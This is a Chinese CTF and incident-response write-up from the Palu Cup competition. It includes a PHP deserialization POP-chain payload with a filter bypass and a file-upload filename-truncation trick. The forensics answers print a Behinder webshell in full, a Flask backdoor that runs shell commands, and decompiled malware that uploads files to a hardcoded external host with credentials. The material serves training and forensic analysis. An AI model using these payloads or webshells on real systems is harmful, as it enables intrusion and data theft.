刚刚玩完第一届帕鲁杯,跟几位师傅一起打的比赛,个人也是第一次参加应急响应的比赛,感觉挺有意思,记录一下.(以下wp包含复现内容)
先是几道ctf题

WEB

Web-签到

from flask import Flask, request, jsonify
import requests
from flag import flag  # 假设从 flag.py 文件中导入了 flag 函数
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def getinfo():
    url = request.args.get('url')
    if url:
        # 请求url
        response = requests.get(url)
        content = response.text
        print(content)
        if "paluctf" in content:
            return flag
        else:
            return content
    else:
        response = {
            'message': 200,  # 这里是数值,不是字符串
            'data': "Come sign in and get the flag!"
        }
        return jsonify(response)
@app.route('/flag', methods=['GET', 'POST'])
def flag1():
    return "paluctf"

if __name__ == '__main__':
    app.run(debug=True, host="0.0.0.0", port=80)

在/路由里面,会进行一个get请求,如果响应包里面包含paluctf就会返回flag,正好/flag路由回返回paluctf字符串,那么直接url=http://localhost/flag拿到flag
Op1eAt.png

R23

Op1rSx.png

<?php
show_source(__FILE__);
class a{
    public function __get($a){
        $this->b->love();
    }
}

class b{
    public function __destruct(){
        $tmp = $this->c->name;
    }
    public function __wakeup(){
        $this->c = "no!";
        $this->b = $this->a;
    }
}

class xk{
    public function love(){
       system($_GET['a']);
    }
}

if(preg_match('/R:2|R:3/',$_GET['pop'])){
    die("no");
}
unserialize($_GET['pop']); 

入口一看就是b类,__wakeup->__destruct->__get->love
所以初步构造是

$s=new b();
$s->c=&$s->b;
$s->a=new a();
$s->a->b=new xk();
echo serialize($s);
//O:1:"b":3:{s:1:"b";N;s:1:"c";R:2;s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}}

但是题目不能出现R:2,发现套个数组并且加个无用数据会变成R:4

$s=new b();
$s->c=&$s->b;
$s->a=new a();
$s->a->b=new xk();
$t=array();
$t[0]='1';
$t[1]=$s;
echo serialize($t);
//a:2:{i:0;s:1:"1";i:1;O:1:"b":3:{s:1:"b";N;s:1:"c";R:4;s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}}}

拿到flag
OpNAtU.png
查看源码就有flag

宇宙召唤

来自宇宙深处的呼唤 似乎有个声音一直在你脑中重复 不要回复 不要回复 不要回复
又有一个距离你较近的声音重复 宇宙真理 42 42 42
你似乎想与它交流什么 你们的距离似乎很遥远 只能发送1024字节 不要让它失望 为什么不理解它的爱

OpNKjY.png
根据描述只能上传1024kb的文件
上传一个超小的马看看
OpNvWv.png
提示文件类型不对,但是无论修改啥类型,添加什么头,截断等等都传不上去
根据提示42 42 42 ,42对应的ascii字符是*,测试发现*可以截断文件名
OpNygq.png
改为shell.php*.png发现成功上传并且保留的是php的后缀
OpNgsc.png
成功rce拿到flag

MISC

Misc-签到

27880
30693
25915
21892
38450
23454
39564
23460
21457
36865
112
108
98
99
116
102
33719
21462
21069
27573
102
108
97
103
20851
27880
79
110
101
45
70
111
120
23433
20840
22242
38431
22238
22797
112
108
98
99
116
102
33719
21462
21518
27573
102
108
97
103

给了一串数字,盲猜中文ascii码
写个py转化以下

data = [
    27880, 30693, 25915, 21892, 38450, 23454, 39564, 23460, 21457, 36865, 
    112, 108, 98, 99, 116, 102, 33719, 21462, 21069, 27573, 102, 108, 
    97, 103, 20851, 27880, 79, 110, 101, 45, 70, 111, 120, 23433, 20840, 
    22242, 38431, 22238, 22797, 112, 108, 98, 99, 116, 102, 33719, 21462, 
    21518, 27573, 102, 108, 97, 103]

chinese = ''
for i in data:
        chinese += chr(i)
print(chinese)
//注知攻善防实验室发送plbctf获取前段flag关注One-Fox安全团队回复plbctf获取后段flag

百度全景地图
OpNPGG.png
flag{湖北省武汉市江汉二路与江汉路步行街交叉路口}

FM145.8

FM 一眼SSTV
OpN4hI.jpg
flag{19b4dD77bF3c66f91c23F5A25Bc314CB}

ez_misc

ctf.jpg末尾有snow隐写
OpNH2F.png
拿到密码Carefree and carefree,先修复以下压缩包然后打开压缩包拿到flag
OpNEW6.png

为什么我的新猫猫吃不饱

OpNGgP.png
010打开gif文件尾有个类似flag头的UOZT{NB_XZ1_放到随波逐流里面梭哈
OpNQVb.png
拿到flag头flag{my_ca1_
然后看png文件,发现左边缘有紫色的,大概率是盲水印了
OpN0ol.png
在gif中分解出两个与png像的图片然后检测盲水印
OpNcrg.png
第23帧与png及其相似
提取一下水印
OpNs3s.png
OpNYiK.png
后半段,这字挺难认的
1s_Fu11},最终flagflag{my_ca1_1s_Fu11}
附带提取水印脚本

# coding=utf-8
import cv2
import numpy as np
import random
import os
from argparse import ArgumentParser
ALPHA = 5


def build_parser():
    parser = ArgumentParser()
    parser.add_argument('--original', dest='ori', required=True)
    parser.add_argument('--image', dest='img', required=True)
    parser.add_argument('--result', dest='res', required=True)
    parser.add_argument('--alpha', dest='alpha', default=ALPHA)
    return parser


def main():
    parser = build_parser()
    options = parser.parse_args()
    ori = options.ori
    img = options.img
    res = options.res
    alpha = options.alpha
    if not os.path.isfile(ori):
        parser.error("original image %s does not exist." % ori)
    if not os.path.isfile(img):
        parser.error("image %s does not exist." % img)
    decode(ori, img, res, alpha)


def decode(ori_path, img_path, res_path, alpha):
    ori = cv2.imread(ori_path)
    img = cv2.imread(img_path)
    ori_f = np.fft.fft2(ori)
    img_f = np.fft.fft2(img)
    height, width = ori.shape[0], ori.shape[1]
    watermark = (ori_f - img_f) / alpha
    watermark = np.real(watermark)
    res = np.zeros(watermark.shape)
    random.seed(height + width)
    x = range(int(height / 2))
    y = range(width)
    x = list(range(int(height / 2)))
    random.shuffle(x)

    y = list(range(width))
    random.shuffle(y)

    for i in range(int(height / 2)):
        for j in range(width):
            res[x[i]][y[j]] = watermark[i][j]
    cv2.imwrite(res_path, res, [int(cv2.IMWRITE_JPEG_QUALITY), 100])


if __name__ == '__main__':
    main()

350*350

拿到压缩包然后解压
Opyppj.png
有一个图片 和一个压缩包
图片是key,对图片分析
用foremost新分离出来一个压缩包
OpytKY.png
改后缀为doc发现零宽隐写
Opy40v.png

井兑未济大畜咸益升归妹旅中孚剥噬嗑小过中孚震归妹升兑艮随旅随蒙颐升益蛊颐咸涣豫兑咸观艮益升中孚复睽咸观解临旅涣噬嗑屯

64卦加密,解密一下

s='井兑未济大畜咸益升归妹旅中孚剥噬嗑小过中孚震归妹升兑艮随旅随蒙颐升益蛊颐咸涣豫兑咸观艮益升中孚复睽咸观解临旅涣噬嗑屯'
dic={'坤': '000000', '剥': '000001', '比': '000010', '观': '000011', '豫': '000100', '晋': '000101', '萃': '000110', '否': '000111', '谦': '001000', '艮': '001001', '蹇': '001010', '渐': '001011', '小过': '001100', '旅': '001101', '咸': '001110', '遁': '001111', '师': '010000', '蒙': '010001', '坎': '010010', '涣': '010011', '解': '010100', '未济': '010101', '困': '010110', '讼': '010111', '升': '011000', '蛊': '011001', '井': '011010', '巽': '011011', '恒': '011100', '鼎': '011101', '大过': '011110', '姤': '011111', '复': '100000', '颐': '100001', '屯': '100010', '益': '100011', '震': '100100', '噬嗑': '100101', '随': '100110', '无妄': '100111', '明夷': '101000', '贲': '101001', '既济': '101010', '家人': '101011', '丰': '101100', '离': '101101', '革': '101110', '同人': '101111', '临': '110000', '损': '110001', '节': '110010', '中孚': '110011', '归妹': '110100', '睽': '110101', '兑': '110110', '履': '110111', '泰': '111000', '大畜': '111001', '需': '111010', '小畜': '111011', '大壮': '111100', '大有': '111101', '夬': '111110', '乾': '111111'}

cc=""
i=0
while True:
    if i >=len(s):
        break
    try:
        cc+=dic[s[i]]
    except:
        cc+=dic[s[i] + s[i + 1]]
        i+=1
    i+=1
x=""
end=cc
for i in range(0,len(end),8):
    ins=end[i:i+8]
    x+=chr(int(ins,2))
print(x)

key:6470e394cbf6dab6a91682cc8585059b

拿到key去解压
里面又套了一个伪加密
OpyHMq.png
OpyL1c.png
拿到一张图片
OpyEHr.png
还需要分离
OpySxG.png
foremost又分离出来两张图片
提取盲水印

pip install blind-watermark

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import cv2

from blind_watermark import WaterMark
import os

bwm1 = WaterMark(password_wm=1, password_img=1)
# 注意需要设定水印的长宽wm_shape
bwm1.extract('33.png', wm_shape=(350,350), out_wm_name='output.png', mode='img')

Opy0J1.png
扫码拿到flag
OpycfI.png

Crypto

玛卡巴卡有什么坏心思呢

解密脚本

content = fr'玛卡巴卡玛卡巴卡轰达姆阿卡嗙轰阿巴雅卡阿巴雅卡阿巴雅卡轰达姆阿卡嗙轰哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰玛卡巴卡轰达姆阿卡嗙轰阿巴雅卡阿巴雅卡轰咿呀呦轰达姆阿卡嗙轰'
import os
import time
import ctypes,urllib.request,codecs,base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from base64 import b64encode, b64decode
from os import urandom
import hashlib
import re
import sys



encoding_rules = {
    'a': '玛卡巴卡轰',    
    'b': '阿巴雅卡轰',
    'c': '伊卡阿卡噢轰',
    'd': '哈姆达姆阿卡嗙轰',
    'e': '咿呀呦轰',
    'f': '玛卡雅卡轰',
    'g': '伊卡阿卡轰',
    'h': '咿呀巴卡轰',
    'i': '达姆阿卡嗙轰',
    'j': '玛卡巴卡玛卡巴卡轰',
    'k': '玛卡巴卡玛卡巴卡玛卡巴卡轰',
    'l': '玛卡巴卡玛卡巴卡玛卡巴卡玛卡巴卡轰',
    'm': '阿巴雅卡阿巴雅卡轰',
    'n': '阿巴雅卡阿巴雅卡阿巴雅卡轰',
    'o': '阿巴雅卡阿巴雅卡阿巴雅卡阿巴雅卡轰',
    'p': '伊卡阿卡噢伊卡阿卡噢轰',
    'q': '伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢轰',
    'r': '伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢轰',
    's': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
    't': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
    'u': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
    'v': '咿呀呦咿呀呦轰',
    'w': '咿呀呦咿呀呦咿呀呦轰',
    'x': '咿呀呦咿呀呦咿呀呦咿呀呦轰',
    'y': '咿呀呦咿呀呦咿呀呦咿呀呦咿呀呦轰',
    'z': '玛卡雅卡玛卡雅卡轰',
    'A': '玛卡雅卡玛卡雅卡玛卡雅卡轰',
    'B': '玛卡雅卡玛卡雅卡玛卡雅卡玛卡雅卡轰',
    'C': '伊卡阿卡伊卡阿卡轰',
    'D': '伊卡阿卡伊卡阿卡伊卡阿卡轰',
    'E': '伊卡阿卡伊卡阿卡伊卡阿卡伊卡阿卡轰',
    'F': '咿呀巴卡咿呀巴卡轰',
    'G': '咿呀巴卡咿呀巴卡咿呀巴卡轰',
    'H': '咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡轰',
    'I': '咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡轰',
    'J': '达姆阿卡嗙达姆阿卡嗙轰',
    'K': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
    'L': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
    'M': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
    'N': '巴卡巴卡轰',
    'O': '巴卡巴卡巴卡巴卡轰',
    'P': '巴卡巴卡巴卡巴卡巴卡巴卡轰',
    'Q': '巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡轰',
    'R': '巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡轰',
    'S': '呀呦轰',
    'T': '呀呦呀呦轰',
    'U': '呀呦呀呦呀呦轰',
    'V': '呀呦呀呦呀呦呀呦轰',
    'W': '呀呦呀呦呀呦呀呦呀呦轰',
    'X': '达姆阿卡轰',
    'Y': '达姆阿卡达姆阿卡轰',
    'Z': '达姆阿卡达姆阿卡达姆阿卡轰',
    '0': '达姆阿卡达姆阿卡达姆阿卡达姆阿卡轰',
    '1': '达姆阿卡达姆阿卡达姆阿卡达姆阿卡达姆阿卡轰',
    '2': '玛巴轰',
    '3': '玛巴玛巴轰',
    '4': '玛巴玛巴玛巴轰',
    '5': '玛巴玛巴玛巴玛巴轰',
    '6': '巴卡玛巴轰',
    '7': '巴卡玛巴巴卡玛巴轰',
    '8': '巴卡玛巴巴卡玛巴巴卡玛巴轰',
    '9': '巴卡玛巴巴卡玛巴巴卡玛巴巴卡玛巴轰',
    '=': '妈个巴子轰',
    '/': '妈个巴卡轰',
    '+': '妈个巴达轰',

}

def decodemaba(miwen):
    mingwen=''
    # print(f'密文{{miwen}}')
    result = re.split(r'(?<=轰)', miwen)
    # print(result)
    for it in result:
        # print(it)
        for key,val in encoding_rules.items():
            # print(val)
            if it==val:
                # print("找到明文密码")
                # print(key)
                mingwen = str(mingwen)+str(key)
    return mingwen

print(decodemaba(content))
//jinitaimei

应急响应

应急响应-1

找到JumpServer堡垒机中flag标签的值

OpN6VL.png
[BrYeaVj54009rDIZzu4O]

应急响应-2

提交攻击者第一次登录时间

OpNXqi.png
[2024/04/11/14:21:18]

应急响应-3

提交攻击者源IP

[192.168.1.4]

应急响应-4

提交攻者使用的cve编号

OpNurX.png
[CVE-2024-29201]

应急响应-5

提交攻击者留在Web服务器上的恶意程序的32位小写md5值

OpNwij.png
这几个试了以下发下home是恶意程序
OpN3Cx.png
[84413332e4e7138adc5d6f1f688ddd69]

应急响应-6

分析恶意程序连接地址和密码

把/root/home导出然后解包可以拿到

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.10

import os
import paramiko
from getpass import getpass

def search_in_files(directory, search_text):
    pass
# WARNING: Decompyle incomplete


def ssh(local_file_path, remote_file_path):
    hostname = '82.157.238.111'
    port = 22
    username = 'root'
    password = '1qaz@WSX3edc'
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(hostname, port, username, password)
    sftp = client.open_sftp()
    sftp.put(local_file_path, remote_file_path)
    sftp.close()
    client.close()
    print(f'''File {local_file_path} uploaded to {remote_file_path} on {hostname}''')

search_directory = '/'
search_for_text = 'passwod'
(a, b) = search_in_files(search_directory, search_for_text)
ssh(a, b)

外链地址82.157.238.111 密码 1qaz@WSX3edc
[e695461c231aee4ed46b201efca18ff8-7da188c2e2d83e38b7d9e75e500f1af8]

应急响应-7

提交存在反序列化漏洞的端口

OpNwij.pngOpeM4p.png
[8080]

应急响应-8

提交攻击者使用的后门路由地址

$ cat app.py


cat app.py 

from flask import Flask, request, jsonify

from Database import *

import os

import time

app = Flask(__name__)

@app.route('/api/getinfo', methods=['Get'])

def getinfo():

    sql="select * from `user`"

    data = consql(sql=sql)

    print(data)

    response = {

        'message': 200,

        'data': data

    }

    return jsonify(response)

@app.route('/api/system', methods=['POST'])

def system():

    # print(os.system("dir"))

    systemdata = request.json['sys']

    data = os.system(systemdata)

    # data = subprocess.run(systemdata)

    print(data)

    # 把data的数据存储到log.txt

    with open('flask/log.txt', 'a+') as f:

        f.write(str(time.time()) +"-----" +systemdata+'\n')

    response = {

        'message': 200,

        'data': data

    }

    return jsonify(response)

if __name__ == '__main__':

后门路由/api/system
[948c4425bad48511fd6281d345ee69a1]

应急响应-9

提交dnslog反弹域名

OpeO6U.png
[86fedf00e173a0d531be569028fc1f6e]

应急响应-10

提交第一次扫描器使用时间

不懂

应急响应-11

提交攻击者反弹shell使用的语言
OpeobY.png
python
[23eeeb4347bdd26bfc6b7ee9a3b755dd]

应急响应-12

提交攻击者反弹shell的ip

[82.157.238.174]

应急响应-13

提交攻击者留下的账号

Ope5Yq.png
[palu.com]

应急响应-14

提交攻击者的后门账户密码

OpeTqc.png
john跑一下palu.com的hash爆破出来123123
[4297f44b13955235245b2497399d7a93]

应急响应-15

提交测试数据条数

OpeUAr.png
5条
[e4da3b7fbbce2345d7772b0674a318d5]

应急响应-16

请提交攻击者留下的信息

OpeWSM.png
[flag{hi_palu_f10g}]

应急响应-17

请提交运维服务器上的恶意文件md5(小写32位md5值)

OpebCG.png
[0fca0f847a45401c878d7a5303ddc1f8]

应急响应-18

提交恶意文件的恶意函数

Opexn1.png
helloworld下面有个libc,讲道理应该是haveadoor,但是是begingame
[ddd0599cda1fc289a617db148d75383b]

应急响应-19

请提交攻击者恶意注册的恶意用户条数

Opez4I.png
10个恶意用户
[d3d9446802a44259755d38e6d163e820]

应急响应-20

请提交对博客系统的第一次扫描时间

OpeF6D.png
[2024/04/16/21:03:46]

应急响应-21

提交攻击者下载的文件

[upload.zip]

应急响应-22

请提交攻击者第一次下载服务器文件的时间

没找到

应急响应-23

请提交攻击者留下的冰蝎马的文件名称

cat nidewen.php 
<?php
@error_reporting(0);
session_start();
$key="1be873048db838ac";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15]; 
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);

[nidewen.php]

应急响应-24

提交冰蝎的链接密码

OpeikF.png
[nidewen]

应急响应-25

提交办公区存在的恶意用户名

开机 PC01 看用户
[hacker]

应急响应-26

提交恶意用户密码到期时间
net user hacker
[[2024/5/28/21:40:37]]

应急响应-27

请对办公区留存的镜像取证并指出内存疑似恶意进程

Openm6.webp
[.hack.ex]

应急响应-28

请指出该员工使用的公司OA平台的密码

OpKF6j.png
把pc1里面raw.raw导出用volatility3分析
OpKikp.png
OpKnpU.png
[liuling7541]

应急响应-29

攻击者传入一个木马文件并做了权限维持,请问木马文件名是什么

OpK1YY.png
查看剪切板里面有个h4ck3d!,是传入的木马
[h4ck3d!]

应急响应-30

请提交该计算机中记录的重要联系人的家庭住址

OpKN5v.png
找到一个中文乱码,看别人的wp发现是王总然后提取出来
[秋水省雁荡市碧波区千屿山庄1号]

应急响应-31

请提交近源靶机上的恶意文件哈希

pc2上有个artifact文件,用Get-FileHash artifact.exe -Algorithm MD5获取文件md5
OpKeKq.webp
[a7fcd0b15a080167c4c2f05063802a6e]

应急响应-32

提交恶意程序的外联地址

OpKrSc.webp
[101.78.63.44]

应急响应-33

提交攻击者使用内网扫描工具的哈希

OpKAwr.png
传的 fscan,看操作日志确定版本是 1.8.3
[1facdcd05c43ba4d37274dffc90b6d4e]

应急响应-34

请提交攻击者在站点上留下的后门密码

OpKZ1M.png
看waf,连接密码是123
[123]

应急响应-35

请提交攻击者在数据库留下的信息

OpKvDG.png
[flag{hack_palu}]

应急响应-36

提交攻击者在监控服务器上留下的dcnlog地址

OpKy81.png
[oalu.dcnlog.cn]

应急响应-37

提交监控服务器上恶意用户的上一次登录时间

OpKmkI.png
[2024/04/17/01:32:44]

应急响应-38

提交监控服务器上遗留的反弹shell地址和端口

同36图,base64解码
OpKppD.png
[154.183.110.12:7890]

应急响应-39

提交恶意钓鱼文件的哈希

pc2有个初稿文件,应该是钓鱼文件
OpKR56.png
[[da75025ff7f3b6baa27f5913c1c83063]]

应急响应-40

提交恶意文件外连IP

不会

应急响应-41

提交被恶意文件钓鱼使用者的姓名

OpKJfF.png
[陈琚鹭]

应急响应-42

提交攻击者留下的信息

OpKtKP.webp
flag{2024-04-17-hi}

应急响应-43

提交恶意用户数量

OpK40b.png
49个
[f457c545a9ded88f18ecee47145a72c0]

应急响应-44

请提交员工集体使用的密码

试了一下Network@2020对了
[Network@2020]

应急响应-45

提交加密文件的哈希

OpKDwl.webp
[2bf71a0d6d4e70cec7602da2b653e2ab]

应急响应-46

提交被攻击者加密的内容明文

同密码题
[2024ispassword]

应急响应-47

请提交符合基线标准的服务器数量

0个
[cfcd208495d565ef66e7dff9f98764da]

应急响应-48-51

提交办公区的恶意文件哈希
提交恶意回连端口
提交恶意程序中的flag
提交恶意文件中的search_for_text内容

OpKEHB.webp
OpKL1g.webp
[5232a191eb2913337e0a93b0a990f2a2]
[22]
[flag{234567uyhgn_aiduyai}]
[passwod]

应急响应-52

提交web服务器上攻击者修改后的root密码